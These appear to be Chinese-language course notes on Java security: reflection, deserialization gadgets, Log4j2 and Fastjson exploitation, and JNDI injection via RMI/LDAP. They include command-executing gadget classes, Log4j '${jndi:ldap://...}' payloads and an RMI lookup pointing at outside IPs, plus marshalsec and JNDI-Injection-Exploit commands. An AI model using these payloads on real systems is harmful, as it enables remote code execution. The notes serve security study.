Method users = aClass.getDeclaredMethod(“users”, String.class, String.class);: 通过反射获取 User 类中名为 “users” 的方法,该方法接受两个参数,类型分别为 String 和 String。
users.invoke(u, “xiaodigay”, “gay1”);: 使用 invoke 方法调用 User 对象的 users 方法,传递参数 “xiaodigay” 和 “gay1”。这行代码相当于调用 u.users(“xiaodigay”, “gay1”)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 package org.example;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class GouzaoDemo { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException { Class aClass = Class.forName("org.example.User" ); Method[] methods = aClass.getMethods(); for (Method method : methods) { System.out.println(method); } System.out.println("-------------------" ); Method[] methods1 = aClass.getDeclaredMethods(); for (Method method : methods1) { System.out.println(method); } System.out.println("-------------------" ); Method users = aClass.getDeclaredMethod("users" ,String.class,String.class); System.out.println("users:" +users); User u = new User (); Method users1 = aClass.getDeclaredMethod("users" ,String.class,String.class); users1.invoke(u,"xiaodigay" ,"gay111" ); } }
反射-不安全命令执行&反序列化链构造 1、反射实现-命令执行 原型:java自带包含有的java.lang中有对于本机控制台的调用方法 Runtime.getRuntime().exec(“calc”);
反射:如果是第三方的jar包如何实现
首先使用 Class.forName获取 java.lang.Runtime 类
通过getMethods获取该类包括继承 的公共成员 方法,并遍历出来
1 2 3 4 5 6 7 8 9 10 11 Class aClass = Class.forName("java.lang.Runtime" );Method[] methods = aClass.getMethods(); for (Method me : methods) { System.out.println(me); }
通过查询找到对应需要的成员方法
根据成员方法的名称和参数,分别对应获取所需成员方法
通过使用获取的方法依次调用执行即可
1 2 3 4 5 6 7 8 9 10 11 Method exec = aClass.getMethod("exec" , String.class);Method getRuntimeMethod = aClass.getMethod("getRuntime" );Object runtime = getRuntimeMethod.invoke(aClass);exec.invoke(runtime, "calc.exe" );
1 2 3 4 5 6 7 8 9 10 11 12 Class c1 = Class.forName("java.lang.Runtime" );Constructor m = c1.getDeclaredConstructor();m.setAccessible(true ); c1.getMethod("exec" , String.class).invoke(m.newInstance(), "calc" );
2、不安全的反射对象 指应用程序使用具有反射功能的外部输入来选择要使用的类或代码, 可能被攻击者利用而输入或选择不正确的类。绕过身份验证或访问控制检查 参考分析:https://zhuanlan.zhihu.com/p/165273855 利用结合:https://xz.aliyun.com/t/7031?time__1311=n4%2BxnD0GDti%3DLxQTq05%2BbDyGD9lBQKDReOYD
JavaEE应用&原生反序列化&重写方法&链条分析&触发类&类加载 反序列化-解释&使用&安全 序列化&反序列化-概念
1、序列化与反序列化 序列化:将内存中的对象转换成便于传输的字节流
反序列化:将字节流转化成内存中的对象
Java 提供了一种对象序列化 的机制。用一个字节序列可以表示一个对象,==该字节序列包含该对象的数据
、对象的类型
和对象中存储的属性
等信息。 ==字节序列写出到文件之后,相当于文件中持久保存 了一个对象的信息。
反之,该字节序列还可以从文件中读取回来,重构对象,对它进行反序列化
2、序列化技术 1 2 3 4 5 6 7 8 序列化与反序列化的设计就是用来传输数据的。 当两个进程进行通信的时候,可以通过序列化反序列化来进行传输。 能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将数据保存在文件中。 应用场景 (1 ) 想把内存中的对象保存到一个文件中或者是数据库当中。 (2 ) 用套接字在网络上传输对象。 (3 ) 通过RMI传输对象的时候。
3、常见的序列化和反序列化协议 • JAVA内置的writeObject()/readObject() • JAVA内置的XMLDecoder()/XMLEncoder • XStream • SnakeYaml • FastJson • Jackson
4、为什么会出现反序列化安全问题 内置原生写法分析 • 重写readObject方法 • 输出调用toString方法
5、反序列化利用链 (1) 入口类的readObject直接调用危险方法 (2) 入口参数中包含可控类,该类有危险方法,readObject时调用 (3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用 (4) 构造函数/静态代码块等类加载时隐式执行
原生使用-序列化&反序列化
1 2 3 4 5 6 7 8 9 10 11 12 [ public static void serializeTest (Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.txt" ));oos.writeObject(obj); } public static Object unserializeTest (String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois=new ObjectInputStream (new FileInputStream (Filename)); Object o = ois.readObject();return o;}
1.序列化实现,创建用户类,并实现Serializable 接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 package org.example;import java.io.IOException;import java.io.Serializable;public class UserDemo implements Serializable { public String name = "xiaodi" ; public String gender = "man" ; public Integer age = 30 ; public UserDemo (String name, String gender, Integer age) { this .name = name; this .gender = gender; this .age = age; System.out.println(name); System.out.println(gender); } @Override public String toString () { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } return "User{" + "name='" + name + '\'' + ", gender='" + gender + '\'' + ", age=" + age + '}' ; } }
2.创建对应的序列化类,并创建对应的序列化方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package org.example;import java.io.*;public class SerializableDemo { public static void main (String[] args) throws IOException { UserDemo u = new UserDemo ("xiaodi" , "gay1" , 30 ); SerializableTest(u); } private static void SerializableTest (Object object) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.txt" )); oos.writeObject(object); oos.close(); } }
3.创建对应反序列化类,并创建对应反序列化方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package org.example;import java.io.FileInputStream;import java.io.IOException;import java.io.ObjectInput;import java.io.ObjectInputStream;public class UnserializableDemo { public static void main (String[] args) throws IOException, ClassNotFoundException { Object obj = UnserializableTest("ser.txt" ); System.out.println(obj); } private static Object UnserializableTest (String file) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("ser.txt" )); Object o = ois.readObject(); return o; } }
执行结果:
安全问题-重写方法&触发方法
toString //输出调用toString方法
如果在原始对象
的toString方法中夹带外部执行命令,可能在执行反序列化时
触发方式:如果对obj对象进行输出 默认调用原始对象的toString方法 而造成执行外部命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public String toString () { try { ** Runtime.getRuntime().exec("calc" );** } catch (IOException e) { throw new RuntimeException (e); } return "User{" + "name='" + name + '\'' + ", gender='" + gender + '\'' + ", age=" + age + '}' ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public static void main (String[] args) throws IOException, ClassNotFoundException { Object obj = UnserializableTest("ser.txt" ); System.out.println(obj); } public static Object UnserializableTest (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois= new ObjectInputStream (new FileInputStream (Filename)); Object o = ois.readObject(); return o; }
readObject //序列化后被重写readObject调用
触发方式:在原始对象中重写readObject 方法,在执行反序列化时候,会被默认优先调用
1 2 3 4 5 6 7 8 private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); Runtime.getRuntime().exec("calc" ); }
安全问题-可控其他类重写 方法 https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
1.利用 HashMap
存在的反序列化漏洞的readObject
方法,调用了HashMap.putVal()
方法,最终调用了URL.hashCode()形成
RCE漏洞分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 package org.example;import java.io.*;import java.net.MalformedURLException;import java.net.URL;import java.util.HashMap;public class UrlDns implements Serializable { public static void main (String[] args) throws IOException, ClassNotFoundException { HashMap<URL,Integer> hash = new HashMap <>(); URL u=new URL ("http://6grm3c.dnslog.cn" ); hash.put(u,1 ); SerializableTest(hash); UnserializableTest("dns.txt" ); } public static void SerializableTest (Object obj) throws IOException { ObjectOutputStream oos= new ObjectOutputStream (new FileOutputStream ("dns.txt" )); oos.writeObject(obj); } public static Object UnserializableTest (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois= new ObjectInputStream (new FileInputStream (Filename)); Object o = ois.readObject(); return o; } }
2.RCE漏洞简介 RCE (Remote Code Execution) 漏洞是一种计算机安全漏洞,它允许攻击者远程执行恶意代码或命令,从而获取对目标系统的控制权。攻击者可以通过利用软件或系统中存在的安全漏洞,将恶意代码注入到目标系统中,然后执行它们。
RCE 漏洞可能会导致严重的安全问题,攻击者可以利用这些漏洞进行各种恶意活动,包括但不限于以下几点:
控制系统:攻击者可以通过远程执行代码来获得对目标系统的完全控制。这使得攻击者可以访问系统上的敏感数据、修改配置、操纵系统行为等。 系统破坏:攻击者可能会利用 RCE 漏洞来破坏系统的正常运行。他们可以执行破坏性的命令,例如删除文件、关闭关键服务或引发系统崩溃。 数据泄露:攻击者可以利用 RCE 漏洞来访问系统上的敏感数据,例如个人身份信息、登录凭据、银行信息等。这些数据可能被窃取、滥用或出售。
JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入 Java-项目管理工具-配置 Jar仓库:
https://mvnrepository.com/
Maven配置:
https://www.jb51.net/article/259780.htm
JNDI
相关概念 1、JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。用于在分布式环境中查找和访问命名和目录服务。它允许Java应用程序通过名称引用资源,如数据库连接、远程对象等。
2、反序列化常用的两种利用方式,一种是基于RMI,一种是基于ldap。
3、RMI是一种行为,指的是Java远程方法调用。通过 RMI,对象的方法可以在远程 JVM 上被调用。
4、LDAP指轻量级目录服务协议。LDAP 主要用于访问目录服务,这是一种树形结构的数据库,用于组织和存储信息。
JNDI注入 原理:利用JNDI的apl接口如RMI或LDAP远程调用自己所写的危险代码实现注入
Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。
危害
1、Log4j 2.x
Log4j 2.x中的 JNDI 注入漏洞LDAP,允许攻击者通过特制的日志消息进行远程代码执行。在这种情况下,攻击者可以利用恶意构造的 JNDI上下文注入,执行恶意的Java代码。
上下文注入: 在某些情况下,应用程序会通过用户提供的数据构建 JNDI 上下文(InitialContext)。 如果应用程序在构建上下文时没有充分验证和过滤用户提供的数据,攻击者可能会尝试通
2、FastJson JNDI 注入漏洞(JSON )
1、FastJson 在解析 JSON 数据时,会将 JSON 字符串转换为 Java 对象。
2、攻击者可以通过构造恶意的 JSON 字符串,包含特殊的 JSON 注释和 FastJson 的特性,来触发漏洞。 攻击者构造的 JSON 数据可能包含特殊的注释和 FastJson 的特性,以触发漏洞并执行恶意代码。
3、远程代码执行: 由于漏洞存在,攻击者可能成功执行远程代码,导致服务器上的不安全操作。
三方组件-Log4J&JNDI Log4J Log4J:日志管理 Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。
Log4j-组件安全复现 本地简单实现
创建Maven并命名为Log4jDemo
找到对应版本**Apache Log4j Core » 2.14.1 ,并导入至项目中pomxml文件中**
并刷新Maven则导入成功
在java下创建Log4jTest.java
文件,导入引入的第三方Log4j相关包
Log4j 使用: 代码使用 Log4j 2.x 提供的日志功能,通过 LogManager.getLogger
获取一个 Logger 实例,然后使用 Logger.error
记录错误日志。
在 Logger.error(“{}”, code); 中,code 的值是 ${java:os}。这是 Log4j 的变量替换语法,其中 ${java:os} 表示执行 Java 系统属性(在这里是执行系统命令)。如果 code 的值是由用户提供的,那么存在潜在的安全风险,因为用户可以通过输入特定的内容来执行恶意代码。
1、Maven引用Log4j 依赖下载:
1 2 3 4 5 6 7 8 9 <dependencies> <!-- https: <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14 .1 </version> </dependency> </dependencies>
Log4jTest.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package org.example;import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;public class Log4jTest { private static final Logger log = LogManager.getLogger(Log4jTest.class); public static void main (String[] args) { String code = "${java:os}" ; log.error("{}" ,code); } }
效果实现:
2、接受用户输入值 创建JavaEE项目,使用Tomcat 9.0.74进行创建
Log4jServlet.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package org.example.log4jeedemo;import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse; @WebServlet("/log4j") public class Log4jServlet extends HttpServlet { private static final Logger Logger = LogManager.getLogger(Log4jServlet.class); @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) { String code = req.getParameter("code" ); Logger.error("{}" , code); } }
遇到的问题:
遇到问题 :HTTP Status 400 – 错误的请求描述 由于被认为是客户端对错误(例如:畸形的请求语法 、无效的请求信息帧或者虚拟的请求路由),服务器无法或不会处理当前请求
原因: 是tomcat的版本问题,好像是tomcat7.9以上的版本,都不支持请求链接上带有特殊字符.否则会报400错误, 这是因为Tomcat严格按照 RFC 3986规范进行访问解析,而 RFC3986规范定义了Url中只允许包含英文字母(a-zA-Z)、数字(0-9)、-_.~4个特殊字符以及所有保留字符(RFC3986中指定了以下字符为保留字符:! * ’ ( ) ; : @ & = + $ , / ? # [ ])。传入的参数中有”{“不在RFC3986中的保留字段中,所以会报这个错。
解决方式:修改Tomcat配置server.xml
Tomcat-9\apache-tomcat-9.0.74\conf\server.xml
1 2 3 4 5 <Connector port ="8080" protocol ="HTTP/1.1" relaxedQueryChars ="[]|{}^\ ` " < > " connectionTimeout ="20000" redirectPort ="8443" /
进行访问
3、利用jndi-ldap执行 1 2 3 4 5 6 code=$(java:os) 输出执行结果:显示系统 code=(java:os) 正常输入正常输出:(java:os) $ {jndi:ldap://47.94.236.117:1389/uyhyw6} $ {jndi:ldap://xxxx.dns.log} ldap://47.94.236.117:1389/uyhyw6 生成的远程可访问的调用方法 什么方法? -A “calc” 执行计算机的功能方法(JNDI注入工具生成的)
参考文章:Apache Log4j2 - JNDI RCE漏洞攻击保姆级教程(仅供测试请勿攻击他人)_apcjnd-CSDN博客
marshalsec使用 java 反序列化利用工具 marshalsec 使用简介-CSDN博客
开启RMI服务
1 java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/css/#ExportObject 1099
开启LDAP服务
1 java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/css/#ExportObject 1389
JNDI-Injection-Exploit JNDI-Injection-Exploit 使用教程-CSDN博客
1 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
三方组件-FastJson&反射 FastJson:可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。
Fastjson-组件安全复现 1、Maven引用Fastjson
2、创建需转换类对象User 编写User测试类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package org.example;public class User { private String name; private int age; public Integer getAge () { return age; } public void setAge (int age) { this .age = age; System.out.println(age); } public String getName () { return name; } public void setName (String name) { this .name = name; System.out.println(name); } }
创建FastjsonDemo.java进行测试
1 2 3 4 5 6 7 8 9 10 11 package org.example; public class FastjsonDemo { public static void main(String[] args) { User u = new User(); u.setAge(30); u.setName("xiaodi"); System.out.println(u); } }
3、使用Fastjson进行数据转换(对象转Json)
对象 -> JSON
选择Fastjson,更加方便的将对象转换为JSON格式的数据
FastjsonDemo.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package org.example;import com.alibaba.fastjson.JSONObject;public class FastjsonDemo { public static void main (String[] args) { User u = new User (); u.setAge(30 ); u.setName("xiaodi" ); String jsonStr = JSONObject.toJSONString(u); System.out.println(jsonStr); } }
4、数据转换(Json转对象) JSON -> 对象
1 2 3 4 String jsonString1 = JSONObject.toJSONString(u, SerializerFeature.WriteClassName); System.out.println(jsonString1);
将JSON转换为对象后,出现了@type转换对象类包
通过修改@type的value既可以实现代码执行
在本地创建一个Run.java
1 2 3 4 5 6 7 8 9 10 package org.example;import java.io.IOException;public class Run { public Run () throws IOException { Runtime.getRuntime().exec("calc" ); } }
修改Fastjson.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.serializer.SerializerFeature;import java.io.Serializable;public class FastjsonDemo { public static void main (String[] args) { String test = "{\"@type\":\"org.example.User\",\"age\":30,\"name\":\"xiaodi\"}" ; String test1 = "{\"@type\":\"org.example.Run\",\"age\":30,\"name\":\"xiaodi\"}" ; JSONObject jsonObject = JSON.parseObject(test); System.out.println("这就是json转换为对象的格式:" +jsonObject); JSONObject jsonObject1 = JSON.parseObject(test1); System.out.println("这就是json转换为对象的格式:" +jsonObject1); } }
但在实际渗透过程中,并不知道是否存在RCE相关的执行代码,所以这种调用方式,几乎是无法使用的
Fastjson漏洞分析与利用详解-CSDN博客 后续参考文章
JavaEE应用&JNDI 注入&RMI服务&LDAP服务&JDK绕过&调用链类
JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。 RMI:远程方法调用注册表 LDAP:轻量级目录访问协议
调用检索: Java为了将Object对象存储在Naming或Directory服务 下,提供了Naming Reference功能 ,对象可以通过绑定Reference存储在Naming或Directory服务 下,比如RMI、LDAP等。
在RMI服务中调用了InitialContext.lookup()的类有:
org.springframework.transaction.jta.JtaTransactionManager.readObject()com.sun.rowset.JdbcRowSetImpl.execute() javax.management.remote.rmi.RMIConnector.connect() org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)
在LDAP服务中调用了InitialContext.lookup()的类有:
1 2 3 InitialDirContext.lookup() Spring LdapTemplate.lookup() LdapTemplate.lookupContext()
JNDI远程调用-JNDI-Injection
1 new InitialContext().lookup("rmi://47.243.50.47:1099/ptbddl");